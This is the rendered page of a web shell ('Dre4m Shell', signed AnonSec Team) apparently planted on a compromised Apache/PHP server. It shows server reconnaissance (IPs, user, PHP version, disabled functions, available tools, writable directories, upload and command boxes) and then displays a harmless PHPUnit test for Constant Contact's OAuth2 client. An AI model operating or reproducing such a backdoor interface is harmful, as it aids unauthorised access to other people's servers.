Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.133.83.123
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vendor/constantcontact/constantcontact/test/Auth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/vendor/constantcontact/constantcontact/test/Auth/CtctOAuth2UnitTest.php
<?php

use Ctct\Auth\CtctOAuth2;
use Ctct\Util\Config;
use GuzzleHttp\Client;
use GuzzleHttp\Message\Response;
use GuzzleHttp\Stream\Stream;
use GuzzleHttp\Subscriber\Mock;

class CtctOAuth2UnitTest extends PHPUnit_Framework_TestCase
{
    /**
     * @var Client
     */
    private static $client;

    /**
     * @var CtctOAuth2
     */
    private $ctctOAuth2;

    private $apiKey = "apiKey";
    private $clientSecret = "clientSecret";
    private $redirectUri = "redirectUri";

    public static function setUpBeforeClass()
    {
        self::$client = new Client();
        $tokenInfoStream = Stream::factory(JsonLoader::getTokenInfoJson());
        $accessTokenStream = Stream::factory(JsonLoader::getAccessTokenJson());
        $mock = new Mock([
            new Response(200, array(), $tokenInfoStream),
            new Response(200, array(), $accessTokenStream)
        ]);
        self::$client->getEmitter()->attach($mock);
    }

    public function setUp()
    {
        $this->ctctOAuth2 = new CtctOAuth2($this->apiKey, $this->clientSecret, $this->redirectUri);
    }

    public function testGetTokenInfo()
    {
        $response = self::$client->post('/');

        $token = $response->json();

        $this->assertEquals("f98b207c-ta99b-4938-b523-3cc2895f5420", $token['client_id']);
        $this->assertEquals("ctcttest", $token['user_name']);
        $this->assertEquals("315110295", $token['expires_in']);
    }

    public function testGetAccessToken()
    {
        $response = self::$client->post('/');

        $token = $response->json();

        $this->assertEquals("v6574b42-a5bc-4574-a87f-5c9d1202e316", $token['access_token']);
        $this->assertEquals("308874923", $token['expires_in']);
        $this->assertEquals("Bearer", $token['token_type']);
    }

    /**
     * @dataProvider authorizationUrlProvider
     */
    public function testGetAuthorizationUrl($server, $expectedResponse)
    {
        $this->assertEquals($expectedResponse, $this->ctctOAuth2->getAuthorizationUrl($server));
    }

    public function testGetAuthorizationUrlServer()
    {
        $authUrl = $this->ctctOAuth2->getAuthorizationUrl();
        $baseUrl = Config::get('auth.base_url') . Config::get('auth.authorization_endpoint');
        $params = array(
            'response_type' => 'code',
            'client_id' => $this->apiKey,
            'redirect_uri' => $this->redirectUri
        );
        $expectedUrl = $baseUrl . '?' . http_build_query($params);
        $this->assertEquals($expectedUrl, $authUrl);
    }

    public function testGetAuthorizationUrlClient()
    {
        $authUrl = $this->ctctOAuth2->getAuthorizationUrl(false);
        $baseUrl = Config::get('auth.base_url') . Config::get('auth.authorization_endpoint');
        $params = array(
            'response_type' => 'token',
            'client_id' => $this->apiKey,
            'redirect_uri' => $this->redirectUri
        );
        $expectedUrl = $baseUrl . '?' . http_build_query($params);
        $this->assertEquals($expectedUrl, $authUrl);
    }

    public function testGetAuthorizationUrlServerWithState()
    {
        $state = 'this is my state';
        $authUrl = $this->ctctOAuth2->getAuthorizationUrl(true, $state);
        $baseUrl = Config::get('auth.base_url') . Config::get('auth.authorization_endpoint');
        $params = array(
            'response_type' => 'code',
            'client_id' => $this->apiKey,
            'redirect_uri' => $this->redirectUri,
            'state' => $state
        );
        $expectedUrl = $baseUrl . '?' . http_build_query($params, '', '&', PHP_QUERY_RFC3986);
        $this->assertEquals($expectedUrl, $authUrl);
    }

    public function testGetAuthorizationUrlClientWithState()
    {
        $state = 'this is my state';
        $authUrl = $this->ctctOAuth2->getAuthorizationUrl(false, $state);
        $baseUrl = Config::get('auth.base_url') . Config::get('auth.authorization_endpoint');
        $params = array(
            'response_type' => 'token',
            'client_id' => $this->apiKey,
            'redirect_uri' => $this->redirectUri,
            'state' => $state
        );
        $expectedUrl = $baseUrl . '?' . http_build_query($params, '', '&', PHP_QUERY_RFC3986);
        $this->assertEquals($expectedUrl, $authUrl);
    }

    public function authorizationUrlProvider()
    {
        $requestParams = "&client_id=apiKey&redirect_uri=redirectUri";
        $serverParams = "?response_type=" . Config::get('auth.response_type_code') . $requestParams;
        $clientParams = "?response_type=" . Config::get('auth.response_type_token') . $requestParams;

        return array(
            array(true, Config::get('auth.base_url') . Config::get('auth.authorization_endpoint') . $serverParams),
            array(false, Config::get('auth.base_url') . Config::get('auth.authorization_endpoint') . $clientParams)
        );
    }
}

Anon7 - 2022
AnonSec Team